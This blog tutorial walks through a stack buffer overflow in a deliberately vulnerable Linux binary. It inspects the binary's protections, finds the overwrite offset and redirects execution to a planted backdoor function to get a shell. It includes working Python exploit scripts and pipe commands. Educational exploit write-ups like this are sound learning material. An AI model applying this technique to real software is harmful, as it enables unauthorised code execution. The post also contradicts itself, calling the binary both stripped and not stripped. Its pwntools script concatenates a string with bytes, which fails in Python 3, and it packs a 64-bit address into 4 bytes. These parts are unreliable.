Posts Code Redirection through Buffer Overflow on Linux
Post
Cancel

Code Redirection through Buffer Overflow on Linux

Introduction

In the about section, there is an executable that seems to create a segmentation fault when the input is really long, so let’s try to break it. We can download it from here.

Initial Assessment

Let’s take a look on the file.

Desktop View file and checksec

Using file we can see that it is a 64-bit ELF that is stripped and with checksec from pwntools we can see that it has NX enabled, partial RelRO, no PIE and no stack canary. So what does this mean?

Security features explanation

  • NX1: NX (No-eXecute) means we cannot execute instructions from the stack. So even if we can put our payload there, the CPU will not execute it. This is enabled by default on GCC.

  • RelRO23: RelRO means Relocation Read-Only
    • Partial RelRO: It makes the .init_array .fini_array .jcr .dynamic and .got sections (basically the .bss[^.bss] section) to be marked as read-only after they have been initialized by the dynamic loader, but the .got.plt section is still writable. This is enabled by default on GCC.

    • Full RelRO: All imported symbols are resolved and the entire the .got.plt section is initialized with the final addresses of the target functions as read-only at startup time and the .got and .got.plt are merged into the .got section. This means that we cannot overwrite the function addresses on the GOT4 (Global Offset Table), but this is not enabled by default on GCC as it can greatly increase program startup time since all symbols must be resolved before the program is started.

  • PIE5: PIE (Position Independent Executable) means that the binary and all of its dependencies are loaded into random locations within virtual memory each time the application is executed. This makes ROP6 (Return Oriented Programming) attacks much more difficult.

  • Stack Canary7: The stack canary is a random integer that is generated at startup and it is placed just before the stack pointer and checked before the function return for integrity, so if the return pointer is overwritten and the canary is not replaced with the original one, the program exits.

We also see that the binary is not stripped, which means that we have debugging symbols in the binary and which makes debugging a lot easier!

If we give the program an input that is bigger that it expects, the program crashes. Desktop View Giving unexpected input

Pre-Exploitation

We will be using gdb with the plugin GEF. Let’s start by creating a pattern that we can give to the executable that has distinct parts8 so we can identify which offset overwrite the return pointer (RIP). We can do that with gef and then we can feed that to the executable:

1
2
gdb ./about_me
pattern create 1024

Desktop View Generating De Bruijn sequence Desktop View Running the application with the generated sequence as input

Now we want to put our return address into RIP but how, if the RIP has not been overwritten? We can put our return address on top of the stack and when the ret instruction will be called, our address will be popped and put into the RIP. To do that we have to find what is the offset of the RSP (stack pointer) which points to the top of the current stack frame and overwrite it with our address.

Desktop View The stack was overwritten by the sequence

Ok, now we want to find some place to redirect the execution to. Let’s see what functions the executable has.

1
info functions

Desktop View Hidden backdoor function inside the executable

1
disassemble *backdoor

Desktop View The disassembled backdoor function

It’s our lucky day! Someone left a backdoor into the program, so we will direct the execution there.

So we want a 9 byte long junk and the we have to put the return address that we want to go to.

Exploitation

Exploitation with pwntools

At first we can try exploiting the application using pwntools.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/env python3

from pwn import *

# Pack to 64-bit
backdoor = p64(0x00000000004011ef)

# We use python3 so have to use bytes instead of strings as they are not the same class as they where on python2
buf = 9 * 'A'
payload = buf + backdoor

p = process('./about_me')
p.sendline(payload)
p.interactive()

Desktop View Exploited the application with pwntools

Nice! Now let’s do it without pwntools.

Exploitation without pwntools

Now we have to pack the address ourselves and send it to the application. Most modern systems are little-endian but we can check with:

1
lscpu | grep "Byte Order"

Desktop View System Endianes

So we have to pack our address with struct.pack using the <I flag or we can convert the address by hand, starting from the most significant bit.

Furthermore, we use python3 so the classes of byte and string are not the same anymore as it was on python2. This creates two problems:

  • We cannot concatenate bytes and strings.
  • We cannot print bytes straight to stdout using print.

To solve this we have to:

  • Only use bytes in our payload.
  • Output to stdout using sys.stdout.buffer.write and add a \n at the end to simulate a line break.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/env python3

import sys
import struct

# Packing with struct
backdoor1 = struct.pack('<I', 0x4011ef)
# Packing by hand
backdoor2 = b'\xef\x11\x40\x00'
assert backdoor1 == backdoor2

buf = 9 * b'A'
payload = buf + backdoor1 + b'\n'

sys.stdout.buffer.write(payload)

Let’s run it and pipe the output to the application.

Desktop View Exploited the application but no shell

Hmm, there is no segmentation fault but the input is overwriting the return pointer. That may mean that the pipe is closing after the initial payload delivery, leaving us with no shell. We can verify our assumption by passing an argument after to our payload.

1
(./exploit_with_out_pwntools.py; echo id) | ./about_me

Desktop View Exploited the application & command execution

Great! Now we can use cat with no arguments to keep the pipe open and pass stdin to stdout.

1
(./exploit_with_out_pwntools.py; cat) | ./about_me

Desktop View Exploited the application & /bin/sh shell

Conclusion

This way of exploiting vulnerable functions is rarely used in the wild as the default GCC settings try to mitigate this attack using PIE, randomising the address of the functions inside the executable and usually backdoors are not built in in most applications91011121314. We will try to overcome those barriers in the next post!

You can find the C code that was used to create the vulnerable executable here.

This post is licensed under CC BY 4.0 by the author.